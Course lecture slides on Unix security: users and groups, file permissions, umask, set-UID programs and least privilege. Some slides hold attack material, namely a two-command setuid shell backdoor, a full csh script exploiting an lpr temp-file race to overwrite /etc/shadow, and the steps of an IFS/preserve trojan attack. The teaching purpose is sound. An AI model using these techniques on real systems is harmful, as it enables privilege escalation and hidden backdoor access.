System Security

- Identification
- Access Control
- Effective ID

Identification

- Users
- Groups
- UNIX Basics

Users

- root
  - super user (uid=0)
- daemon
  - handle network operations
- nobody
  - Owns no files
  - Default user for unprivileged operations
  - Web server runs with this mode
- user id
  - % /usr/bin/id (display both uid and gid)

id

```
[3:32pm] (~): id
uid=502(mkw) gid=20(staff) groups=20(staff),98
   (_lpadmin),102(com.apple.sharepoint.group.2),101
   (com.apple.sharepoint.group.1)

[3:32pm] (~): id 0
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),8
   (procview),2(kmem),29(certusers),3(sys),9(procmod),4
   (tty),102(com.apple.sharepoint.group.2),101
   (com.apple.sharepoint.group.1),5(operator),80
   (admin),20(staff)

[3:32pm] (~): id nobody
uid=4294967294(nobody) gid=4294967294(nobody)
   groups=4294967294(nobody)

[3:33pm] (~): id sshd
uid=75(_sshd) gid=75(_sshd) groups=75(_sshd)
```

Groups

- *Why do we need groups?*
  - Assign permission based on groups
- Stored in /etc/group
  - % cat /etc/group
  - display all the groups and their members
  - % groups [uid]
  - display the groups uid belongs to

File Permissions

- Permission bits in Unix.
  - Owner (u), Group (g), and Others (o)
  - Readable (r), Writable (w), and Executable (x)
  - Example: rwxrwxrwx (777)
- Permissions on Directories
  - r:
  - w:
  - x:

File Permissions (Cont'd)

- *What is the most secure setting for your web directories? Why?*
- Answer

Change Permissions

- % chmod -R a+rx [DIR]
  - –u:
  - –g:
  - –o:
  - –a:
  - Create a test file
    % touch testfile

Default File Permission

- Default for new files?
- *umask* environment variable
  - Permissions ***you do not want***
  - Default value in some systems: 022
    - Which does what?
  - What happens when you compile?

Default File Permission

- What is the safest value?
- Check your own setting
- Change the umask value
  - –% umask 077
  - Put into your .cshrc file

SUID: Set UID

- Motivation
  - Enable others to search for words in your file
  - Don't want them to be able to read the file
- Example /etc/shadow
  - Users' passwords are stored in
  - How do you change your password?
  - But not change my password too?

Set-UID Programs

- Effective uid and real uid
- Non Set-UID programs
  euid == uid
- Set-UID programs
  - Special permissions bit set
  - euid is the owner of the program
  - uid is the user of the program

Effective and Real UID

- Passwords
  - —passwd has UID = ?, EUID = ?
- Check UID
  - If not UID=0, can only reset own
  - *Based on program logic*

Security Problems

- Turn on the Set-UID bit
  - —% chmod 4755 file
- *10-second backdoor*
  - *How can you plant a backdoor?*

```
% cp /bin/sh /tmp
% chmod 4777 /tmp/sh
```

Basic Principles

- Least Privilege
  - Get files, devices, ports, etc. early
  - Then drop privs

Change the Owner of Files

- The *chown* command.
  - —% chown owner file
- Q: *Can we allow a user to change the owner of files to another user?*

Change the Group of Files

- The *chgrp* command.
  - —% chgrp group file
- Q: *Can we allow a user to change the group of files to another group*?

End of Class

Code Exercise

- setreuid(a, b)
  - Sets uid = a, euid = b
- This program is set-uid root
  - Run by somebody who isn't root
- What is it doing?
- Why?

Set UID

- Saved UID
  - If you give up root, can still come back
  - POSIX and System V Unixes
  - <unistd.h> _POSIX_SAVED_IDS
  - sysconf(_SC_SAVED_IDS)

  See if your system has Saved UID

Vulnerabilities of Set-UID

- lpr
  - lpr generates temp files
  - File names are *supposed* to be random
- Vulnerability
  - Error in the PRNG
  - File names repeat every 1000 times
  - Linking the predictable file name to /etc/password
  - lpr overwrites /etc/password

Vulnerabilities of Set-UID

```
#!/bin/csh -f
# Usage: lprcp from-file to-file

# This link stuff allows us to overwrite unreadable files
echo x > /tmp/.tmp.$$
lpr -q -s /tmp/.tmp.$$
rm -f /tmp/.tmp.$$          # lpr's accepted it, point it
ln -s /etc/shadow /tmp/.tmp.$$    # to where we really want

s = 0
while ( $s != 999)          # loop 999 times
      lpr /nofile >&/dev/null    # spins the clock!
       s++

end
lpr $1                      # incoming file
                            # user becomes owner
rm -f /tmp/.tmp.$$
exit 0
```

Vulnerabilities of Set-UID

- Another one
  - IFS and /usr/lib/preserve
  - Preserve: backups for vi
  - On disconnection, failure
    - Emails changes to the user
- Irony
  - Editing a confidential file?
  - Keep backups in a secure directory
    - Need root privs

Vulnerabilities of Set-UID

- IFS
  - Internal Field Separator
    - An environmental variable
    - Typically: space, tab, newline
  - Set it to "/"
- Why?
  - system("/bin/mail")

Vulnerabilities of Set-UID

- Prepare
  - Create a script "bin"
    - Copy a trojan-ed "sh" over /bin/sh
  - Change the IFS
- Attack
  - Open vi
  - Break the connection
  - Preserve runs "bin"

Vulnerabilities of Set-UID

- Big problem
  - Didn't need root!
  - Just use a "preserve" group
  - Set GID to preserve
- If exploited
  - No root!
  - Instead can see private temp files

Security of Set-UID Programs

- All the root privileges?
  - May not be needed (daemon)
- All the time?
  - Temporarily or permanently relinquish the privileges
- A good idea
  - Divide the root's privileges into many smaller privileges
  - Only use the necessary privileges